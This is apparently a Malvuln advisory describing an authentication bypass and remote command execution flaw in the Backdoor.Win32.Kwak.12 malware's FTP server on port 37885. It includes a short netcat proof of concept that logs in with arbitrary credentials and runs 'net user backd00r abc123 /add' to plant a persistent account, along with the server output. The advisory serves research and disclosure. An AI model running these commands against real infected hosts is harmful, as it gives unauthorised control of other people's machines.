Backdoor.Win32.Kwak.12 Authentication Bypass / Code Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Kwak.12
Vulnerability: Remote Command Execution
Description: The backdoor runs an FTP server that listens on TCP port 37885. The malware is packed using UPX which is trivial to unpack by using upx -d command, after observe various FTP commands supported using strings util, we find one interesting string entry named "execute". Turns out this will let us execute any command on the infected machine. Third-party adversaries can add a persistent backdoor account on the infected system or run any command they wish. This is easily accomplished as the malware also suffers from a authentication bypass issue reference MVID-2021-0147.

execute cmd /c net user backd00r abc123 /add
226 Executing...

On the infected host.

net user

User accounts for \\DESKTOP-2X3IHHP
-------------------------------------------------------------------------------
Administrator            backd00r                 DefaultAccount

Type: PE32
MD5: c25393545e5ead3a35996ef9a887bd34
Vuln ID: MVID-2021-0149
Dropped files: 
Disclosure: 03/25/2021

Exploit/PoC:
nc64.exe x.x.x.x 37885

USER malvuln
331 Password required for malvuln.
PASS root
230 User malvuln logged in.

execute cmd /c net user backd00r abc123 /add
226 Executing...

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